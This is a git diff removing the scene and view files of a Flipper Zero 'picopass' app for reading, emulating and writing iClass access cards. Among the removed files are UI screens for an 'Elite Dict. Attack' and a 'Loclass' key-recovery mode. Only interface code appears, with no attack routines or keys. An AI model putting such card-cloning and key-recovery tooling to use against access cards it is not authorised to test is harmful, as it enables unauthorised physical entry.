"../picopass_keys.h" - -void picopass_scene_read_factory_success_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_read_factory_success_on_enter(void* context) { - Picopass* picopass = context; - FuriString* title = furi_string_alloc_set("Factory Default"); - FuriString* subtitle = furi_string_alloc_set(""); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Send notification - notification_message(picopass->notifications, &sequence_success); - - // Setup view - Widget* widget = picopass->widget; - //PicopassPacs* pacs = &picopass->dev->dev_data.pacs; - PicopassBlock* AA1 = picopass->dev->dev_data.AA1; - - uint8_t* configBlock = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data; - uint8_t fuses = configBlock[7]; - - if((fuses & 0x80) == 0x80) { - furi_string_cat_printf(subtitle, "Personalization mode"); - } else { - furi_string_cat_printf(subtitle, "Application mode"); - } - - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Write Standard iClass Key", - picopass_scene_read_factory_success_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(title)); - widget_add_string_element( - widget, 64, 20, AlignCenter, AlignCenter, FontPrimary, furi_string_get_cstr(subtitle)); - - furi_string_free(title); - furi_string_free(subtitle); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_read_factory_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeCenter) { - memcpy(picopass->dev->dev_data.pacs.key, picopass_iclass_key, RFAL_PICOPASS_BLOCK_LEN); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteKey); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_read_factory_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_save_name.c b/applications/external/picopass/scenes/picopass_scene_save_name.c deleted file mode 100644 index 935ee8410..000000000 --- a/applications/external/picopass/scenes/picopass_scene_save_name.c +++ /dev/null @@ -1,82 +0,0 @@ -#include "../picopass_i.h" -#include -#include -#include - -void picopass_scene_save_name_text_input_callback(void* context) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventTextInputDone); -} - -void picopass_scene_save_name_on_enter(void* context) { - Picopass* picopass = context; - - // Setup view - TextInput* text_input = picopass->text_input; - bool dev_name_empty = false; - if(!strcmp(picopass->dev->dev_name, "")) { - name_generator_make_auto(picopass->text_store, sizeof(picopass->text_store), "PicoPass"); - dev_name_empty = true; - } else { - picopass_text_store_set(picopass, picopass->dev->dev_name); - } - text_input_set_header_text(text_input, "Name the card"); - text_input_set_result_callback( - text_input, - picopass_scene_save_name_text_input_callback, - picopass, - picopass->text_store, - PICOPASS_DEV_NAME_MAX_LEN, - dev_name_empty); - - FuriString* folder_path; - folder_path = furi_string_alloc_set(STORAGE_APP_DATA_PATH_PREFIX); - - if(furi_string_end_with(picopass->dev->load_path, PICOPASS_APP_EXTENSION)) { - path_extract_dirname(furi_string_get_cstr(picopass->dev->load_path), folder_path); - } - - ValidatorIsFile* validator_is_file = validator_is_file_alloc_init( - furi_string_get_cstr(folder_path), PICOPASS_APP_EXTENSION, picopass->dev->dev_name); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewTextInput); - - furi_string_free(folder_path); -} - -bool picopass_scene_save_name_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventTextInputDone) { - // Delete old file if renaming - if(strcmp(picopass->dev->dev_name, "") != 0) { - picopass_device_delete(picopass->dev, true); - } - strlcpy( - picopass->dev->dev_name, picopass->text_store, strlen(picopass->text_store) + 1); - if(picopass_device_save(picopass->dev, picopass->text_store)) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveSuccess); - consumed = true; - } else { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - } - return consumed; -} - -void picopass_scene_save_name_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - void* validator_context = text_input_get_validator_callback_context(picopass->text_input); - text_input_set_validator(picopass->text_input, NULL, NULL); - validator_is_file_free(validator_context); - - text_input_reset(picopass->text_input); -} diff --git a/applications/external/picopass/scenes/picopass_scene_save_success.c b/applications/external/picopass/scenes/picopass_scene_save_success.c deleted file mode 100644 index 3b0a1cadd..000000000 --- a/applications/external/picopass/scenes/picopass_scene_save_success.c +++ /dev/null @@ -1,47 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_save_success_popup_callback(void* context) { - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventViewExit); -} - -void picopass_scene_save_success_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcSave); - - // Setup view - Popup* popup = picopass->popup; - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, picopass); - popup_set_callback(popup, picopass_scene_save_success_popup_callback); - popup_enable_timeout(popup); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); -} - -bool picopass_scene_save_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventViewExit) { - if(scene_manager_has_previous_scene(picopass->scene_manager, PicopassSceneCardMenu)) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneCardMenu); - } else { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - } - return consumed; -} - -void picopass_scene_save_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - popup_reset(picopass->popup); -} diff --git a/applications/external/picopass/scenes/picopass_scene_saved_menu.c b/applications/external/picopass/scenes/picopass_scene_saved_menu.c deleted file mode 100644 index 0283906f2..000000000 --- a/applications/external/picopass/scenes/picopass_scene_saved_menu.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "../picopass_i.h" - -enum SubmenuIndex { - SubmenuIndexDelete, - SubmenuIndexInfo, - SubmenuIndexWrite, - SubmenuIndexEmulate, - SubmenuIndexRename, -}; - -void picopass_scene_saved_menu_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} - -void picopass_scene_saved_menu_on_enter(void* context) { - Picopass* picopass = context; - Submenu* submenu = picopass->submenu; - - submenu_add_item( - submenu, "Info", SubmenuIndexInfo, picopass_scene_saved_menu_submenu_callback, picopass); - submenu_add_item( - submenu, "Write", SubmenuIndexWrite, picopass_scene_saved_menu_submenu_callback, picopass); - submenu_add_item( - submenu, - "Emulate", - SubmenuIndexEmulate, - picopass_scene_saved_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Rename", - SubmenuIndexRename, - picopass_scene_saved_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Delete", - SubmenuIndexDelete, - picopass_scene_saved_menu_submenu_callback, - picopass); - - submenu_set_selected_item( - picopass->submenu, - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneSavedMenu)); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneSavedMenu, event.event); - - if(event.event == SubmenuIndexDelete) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneDelete); - consumed = true; - } else if(event.event == SubmenuIndexInfo) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneDeviceInfo); - consumed = true; - } else if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCard); - consumed = true; - } else if(event.event == SubmenuIndexEmulate) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneEmulate); - consumed = true; - } else if(event.event == SubmenuIndexRename) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveName); - consumed = true; - } - } - - return consumed; -} - -void picopass_scene_saved_menu_on_exit(void* context) { - Picopass* picopass = context; - - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_start.c b/applications/external/picopass/scenes/picopass_scene_start.c deleted file mode 100644 index d6b394b3f..000000000 --- a/applications/external/picopass/scenes/picopass_scene_start.c +++ /dev/null @@ -1,73 +0,0 @@ -#include "../picopass_i.h" -enum SubmenuIndex { - SubmenuIndexRead, - SubmenuIndexEliteDictAttack, - SubmenuIndexSaved, - SubmenuIndexLoclass, -}; - -void picopass_scene_start_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} -void picopass_scene_start_on_enter(void* context) { - Picopass* picopass = context; - - Submenu* submenu = picopass->submenu; - submenu_add_item( - submenu, "Read Card", SubmenuIndexRead, picopass_scene_start_submenu_callback, picopass); - submenu_add_item( - submenu, - "Elite Dict. Attack", - SubmenuIndexEliteDictAttack, - picopass_scene_start_submenu_callback, - picopass); - submenu_add_item( - submenu, "Saved", SubmenuIndexSaved, picopass_scene_start_submenu_callback, picopass); - - submenu_add_item( - submenu, "Loclass", SubmenuIndexLoclass, picopass_scene_start_submenu_callback, picopass); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneStart)); - picopass_device_clear(picopass->dev); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_start_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexRead) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, SubmenuIndexRead); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCard); - consumed = true; - } else if(event.event == SubmenuIndexSaved) { - // Explicitly save state so that the correct item is - // reselected if the user cancels loading a file. - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, SubmenuIndexSaved); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexEliteDictAttack) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, SubmenuIndexEliteDictAttack); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneEliteDictAttack); - consumed = true; - } else if(event.event == SubmenuIndexLoclass) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, PicopassSceneLoclass); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneLoclass); - consumed = true; - } - } - - return consumed; -} - -void picopass_scene_start_on_exit(void* context) { - Picopass* picopass = context; - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_card.c b/applications/external/picopass/scenes/picopass_scene_write_card.c deleted file mode 100644 index 3c6eae296..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_card.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_write_card_worker_callback(PicopassWorkerEvent event, void* context) { - UNUSED(event); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, event); -} - -void picopass_scene_write_card_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcSave); - - // Setup view - Popup* popup = picopass->popup; - popup_set_header(popup, "Writing\npicopass\ncard", 68, 30, AlignLeft, AlignTop); - popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); - - // Start worker - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); - picopass_worker_start( - picopass->worker, - PicopassWorkerStateWrite, - &picopass->dev->dev_data, - picopass_write_card_worker_callback, - picopass); - - picopass_blink_start(picopass); -} - -bool picopass_scene_write_card_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassWorkerEventFail) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCardFailure); - consumed = true; - } else if(event.event == PicopassWorkerEventSuccess) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCardSuccess); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_write_card_on_exit(void* context) { - Picopass* picopass = context; - - // Stop worker - picopass_worker_stop(picopass->worker); - // Clear view - popup_reset(picopass->popup); - - picopass_blink_stop(picopass); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_card_failure.c b/applications/external/picopass/scenes/picopass_scene_write_card_failure.c deleted file mode 100644 index 4aae21996..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_card_failure.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_write_card_failure_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_write_card_failure_on_enter(void* context) { - Picopass* picopass = context; - Widget* widget = picopass->widget; - FuriString* str = furi_string_alloc_set("Write Failure!"); - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Retry", - picopass_scene_write_card_failure_widget_callback, - picopass); - - widget_add_button_element( - widget, - GuiButtonTypeRight, - "Menu", - picopass_scene_write_card_failure_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(str)); - - furi_string_free(str); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_write_card_failure_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - // Clear device name - picopass_device_set_name(picopass->dev, ""); - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - return consumed; -} - -void picopass_scene_write_card_failure_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_card_success.c b/applications/external/picopass/scenes/picopass_scene_write_card_success.c deleted file mode 100644 index 52b403cfe..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_card_success.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_write_card_success_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_write_card_success_on_enter(void* context) { - Picopass* picopass = context; - Widget* widget = picopass->widget; - FuriString* str = furi_string_alloc_set("Write Success!"); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Send notification - notification_message(picopass->notifications, &sequence_success); - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Retry", - picopass_scene_write_card_success_widget_callback, - picopass); - - widget_add_button_element( - widget, - GuiButtonTypeRight, - "Menu", - picopass_scene_write_card_success_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(str)); - - furi_string_free(str); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_write_card_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - // Clear device name - picopass_device_set_name(picopass->dev, ""); - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - } - return consumed; -} - -void picopass_scene_write_card_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_key.c b/applications/external/picopass/scenes/picopass_scene_write_key.c deleted file mode 100644 index 806a2b5a8..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_key.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_write_key_worker_callback(PicopassWorkerEvent event, void* context) { - UNUSED(event); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventWorkerExit); -} - -void picopass_scene_write_key_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcSave); - - // Setup view - Popup* popup = picopass->popup; - popup_set_header(popup, "Writing\niClass\nkey", 68, 30, AlignLeft, AlignTop); - popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); - - // Start worker - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); - picopass_worker_start( - picopass->worker, - PicopassWorkerStateWriteKey, - &picopass->dev->dev_data, - picopass_write_key_worker_callback, - picopass); - - picopass_blink_start(picopass); -} - -bool picopass_scene_write_key_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventWorkerExit) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCardSuccess); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_write_key_on_exit(void* context) { - Picopass* picopass = context; - - // Stop worker - picopass_worker_stop(picopass->worker); - // Clear view - popup_reset(picopass->popup); - - picopass_blink_stop(picopass); -} diff --git a/applications/external/picopass/views/dict_attack.c b/applications/external/picopass/views/dict_attack.c deleted file mode 100644 index fb7335f6c..000000000 --- a/applications/external/picopass/views/dict_attack.c +++ /dev/null @@ -1,281 +0,0 @@ -#include "dict_attack.h" - -#include - -typedef enum { - DictAttackStateRead, - DictAttackStateCardRemoved, -} DictAttackState; - -struct DictAttack { - View* view; - DictAttackCallback callback; - void* context; -}; - -typedef struct { - DictAttackState state; - MfClassicType type; - FuriString* header; - uint8_t sectors_total; - uint8_t sectors_read; - uint8_t sector_current; - uint8_t keys_total; - uint8_t keys_found; - uint16_t dict_keys_total; - uint16_t dict_keys_current; - bool is_key_attack; - uint8_t key_attack_current_sector; -} DictAttackViewModel; - -static void dict_attack_draw_callback(Canvas* canvas, void* model) { - DictAttackViewModel* m = model; - if(m->state == DictAttackStateCardRemoved) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); - } else if(m->state == DictAttackStateRead) { - char draw_str[32] = {}; - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 0, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); - if(m->is_key_attack) { - snprintf( - draw_str, - sizeof(draw_str), - "Reuse key check for sector: %d", - m->key_attack_current_sector); - } else { - snprintf(draw_str, sizeof(draw_str), "Unlocking sector: %d", m->sector_current); - } - canvas_draw_str_aligned(canvas, 0, 10, AlignLeft, AlignTop, draw_str); - float dict_progress = m->dict_keys_total == 0 ? - 0 : - (float)(m->dict_keys_current) / (float)(m->dict_keys_total); - float progress = m->sectors_total == 0 ? 0 : - ((float)(m->sector_current) + dict_progress) / - (float)(m->sectors_total); - if(progress > 1.0) { - progress = 1.0; - } - if(m->dict_keys_current == 0) { - // Cause when people see 0 they think it's broken - snprintf(draw_str, sizeof(draw_str), "%d/%d", 1, m->dict_keys_total); - } else { - snprintf( - draw_str, sizeof(draw_str), "%d/%d", m->dict_keys_current, m->dict_keys_total); - } - elements_progress_bar_with_text(canvas, 0, 20, 128, dict_progress, draw_str); - canvas_set_font(canvas, FontSecondary); - snprintf(draw_str, sizeof(draw_str), "Keys found: %d/%d", m->keys_found, m->keys_total); - canvas_draw_str_aligned(canvas, 0, 33, AlignLeft, AlignTop, draw_str); - snprintf( - draw_str, sizeof(draw_str), "Sectors Read: %d/%d", m->sectors_read, m->sectors_total); - canvas_draw_str_aligned(canvas, 0, 43, AlignLeft, AlignTop, draw_str); - } - elements_button_center(canvas, "Skip"); -} - -static bool dict_attack_input_callback(InputEvent* event, void* context) { - DictAttack* dict_attack = context; - bool consumed = false; - if(event->type == InputTypeShort && event->key == InputKeyOk) { - if(dict_attack->callback) { - dict_attack->callback(dict_attack->context); - } - consumed = true; - } - return consumed; -} - -DictAttack* dict_attack_alloc() { - DictAttack* dict_attack = malloc(sizeof(DictAttack)); - dict_attack->view = view_alloc(); - view_allocate_model(dict_attack->view, ViewModelTypeLocking, sizeof(DictAttackViewModel)); - view_set_draw_callback(dict_attack->view, dict_attack_draw_callback); - view_set_input_callback(dict_attack->view, dict_attack_input_callback); - view_set_context(dict_attack->view, dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { model->header = furi_string_alloc(); }, - false); - return dict_attack; -} - -void dict_attack_free(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { furi_string_free(model->header); }, - false); - view_free(dict_attack->view); - free(dict_attack); -} - -void dict_attack_reset(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->state = DictAttackStateRead; - model->type = MfClassicType1k; - model->sectors_total = 1; - model->sectors_read = 0; - model->sector_current = 0; - model->keys_total = 0; - model->keys_found = 0; - model->dict_keys_total = 0; - model->dict_keys_current = 0; - model->is_key_attack = false; - furi_string_reset(model->header); - }, - false); -} - -View* dict_attack_get_view(DictAttack* dict_attack) { - furi_assert(dict_attack); - return dict_attack->view; -} - -void dict_attack_set_callback(DictAttack* dict_attack, DictAttackCallback callback, void* context) { - furi_assert(dict_attack); - furi_assert(callback); - dict_attack->callback = callback; - dict_attack->context = context; -} - -void dict_attack_set_header(DictAttack* dict_attack, const char* header) { - furi_assert(dict_attack); - furi_assert(header); - - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { furi_string_set(model->header, header); }, - true); -} - -void dict_attack_set_card_detected(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->state = DictAttackStateRead; - model->sectors_total = 1; - model->keys_total = model->sectors_total; - }, - true); -} - -void dict_attack_set_card_removed(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { model->state = DictAttackStateCardRemoved; }, - true); -} - -void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, DictAttackViewModel * model, { model->sectors_read = sec_read; }, true); -} - -void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, DictAttackViewModel * model, { model->keys_found = keys_found; }, true); -} - -void dict_attack_set_current_sector(DictAttack* dict_attack, uint8_t curr_sec) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->sector_current = curr_sec; - model->dict_keys_current = 0; - }, - true); -} - -void dict_attack_inc_current_sector(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->sector_current < model->sectors_total) { - model->sector_current++; - model->dict_keys_current = 0; - } - }, - true); -} - -void dict_attack_inc_keys_found(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->keys_found < model->keys_total) { - model->keys_found++; - } - }, - true); -} - -void dict_attack_set_total_dict_keys(DictAttack* dict_attack, uint16_t dict_keys_total) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { model->dict_keys_total = dict_keys_total; }, - true); -} - -void dict_attack_inc_current_dict_key(DictAttack* dict_attack, uint16_t keys_tried) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->dict_keys_current + keys_tried < model->dict_keys_total) { - model->dict_keys_current += keys_tried; - } - }, - true); -} - -void dict_attack_set_key_attack(DictAttack* dict_attack, bool is_key_attack, uint8_t sector) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->is_key_attack = is_key_attack; - model->key_attack_current_sector = sector; - }, - true); -} - -void dict_attack_inc_key_attack_current_sector(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->key_attack_current_sector < model->sectors_total) { - model->key_attack_current_sector++; - } - }, - true); -} diff --git a/applications/external/picopass/views/dict_attack.h b/applications/external/picopass/views/dict_attack.h deleted file mode 100644 index bdfa3e952..000000000 --- a/applications/external/picopass/views/dict_attack.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once -#include -#include -#include - -#include - -typedef struct DictAttack DictAttack; - -typedef void (*DictAttackCallback)(void* context); - -DictAttack* dict_attack_alloc(); - -void dict_attack_free(DictAttack* dict_attack); - -void dict_attack_reset(DictAttack* dict_attack); - -View* dict_attack_get_view(DictAttack* dict_attack); - -void dict_attack_set_callback(DictAttack* dict_attack, DictAttackCallback callback, void* context); - -void dict_attack_set_header(DictAttack* dict_attack, const char* header); - -void dict_attack_set_card_detected(DictAttack* dict_attack); - -void dict_attack_set_card_removed(DictAttack* dict_attack); - -void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read); - -void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found); - -void dict_attack_set_current_sector(DictAttack* dict_attack, uint8_t curr_sec); - -void dict_attack_inc_current_sector(DictAttack* dict_attack); - -void dict_attack_inc_keys_found(DictAttack* dict_attack); - -void dict_attack_set_total_dict_keys(DictAttack* dict_attack, uint16_t dict_keys_total); - -void dict_attack_inc_current_dict_key(DictAttack* dict_attack, uint16_t keys_tried); - -void dict_attack_set_key_attack(DictAttack* dict_attack, bool is_key_attack, uint8_t sector); - -void dict_attack_inc_key_attack_current_sector(DictAttack* dict_attack); diff --git a/applications/external/picopass/views/loclass.c b/applications/external/picopass/views/loclass.c deleted file mode 100644 index 4158019a8..000000000 --- a/applications/external/picopass/views/loclass.c +++ /dev/null @@ -1,106 +0,0 @@ -#include "loclass.h" -#include "../picopass_worker_i.h" - -#include - -struct Loclass { - View* view; - LoclassCallback callback; - void* context; -}; - -typedef struct { - FuriString* header; - uint8_t num_macs; -} LoclassViewModel; - -static void loclass_draw_callback(Canvas* canvas, void* model) { - LoclassViewModel* m = model; - - char draw_str[32] = {}; - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 0, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); - - float progress = m->num_macs == 0 ? 0 : - (float)(m->num_macs) / (float)(LOCLASS_MACS_TO_COLLECT); - - if(progress > 1.0) { - progress = 1.0; - } - - snprintf(draw_str, sizeof(draw_str), "%d/%d", m->num_macs, LOCLASS_MACS_TO_COLLECT); - - elements_progress_bar_with_text(canvas, 0, 20, 128, progress, draw_str); - - elements_button_center(canvas, "Skip"); -} - -static bool loclass_input_callback(InputEvent* event, void* context) { - Loclass* loclass = context; - bool consumed = false; - if(event->type == InputTypeShort && event->key == InputKeyOk) { - if(loclass->callback) { - loclass->callback(loclass->context); - } - consumed = true; - } - return consumed; -} - -Loclass* loclass_alloc() { - Loclass* loclass = malloc(sizeof(Loclass)); - loclass->view = view_alloc(); - view_allocate_model(loclass->view, ViewModelTypeLocking, sizeof(LoclassViewModel)); - view_set_draw_callback(loclass->view, loclass_draw_callback); - view_set_input_callback(loclass->view, loclass_input_callback); - view_set_context(loclass->view, loclass); - with_view_model( - loclass->view, LoclassViewModel * model, { model->header = furi_string_alloc(); }, false); - return loclass; -} - -void loclass_free(Loclass* loclass) { - furi_assert(loclass); - with_view_model( - loclass->view, LoclassViewModel * model, { furi_string_free(model->header); }, false); - view_free(loclass->view); - free(loclass); -} - -void loclass_reset(Loclass* loclass) { - furi_assert(loclass); - with_view_model( - loclass->view, - LoclassViewModel * model, - { - model->num_macs = 0; - furi_string_reset(model->header); - }, - false); -} - -View* loclass_get_view(Loclass* loclass) { - furi_assert(loclass); - return loclass->view; -} - -void loclass_set_callback(Loclass* loclass, LoclassCallback callback, void* context) { - furi_assert(loclass); - furi_assert(callback); - loclass->callback = callback; - loclass->context = context; -} - -void loclass_set_header(Loclass* loclass, const char* header) { - furi_assert(loclass); - furi_assert(header); - - with_view_model( - loclass->view, LoclassViewModel * model, { furi_string_set(model->header, header); }, true); -} - -void loclass_set_num_macs(Loclass* loclass, uint16_t num_macs) { - furi_assert(loclass); - with_view_model( - loclass->view, LoclassViewModel * model, { model->num_macs = num_macs; }, true); -} diff --git a/applications/external/picopass/views/loclass.h b/applications/external/picopass/views/loclass.h deleted file mode 100644 index 0e39b6083..000000000 --- 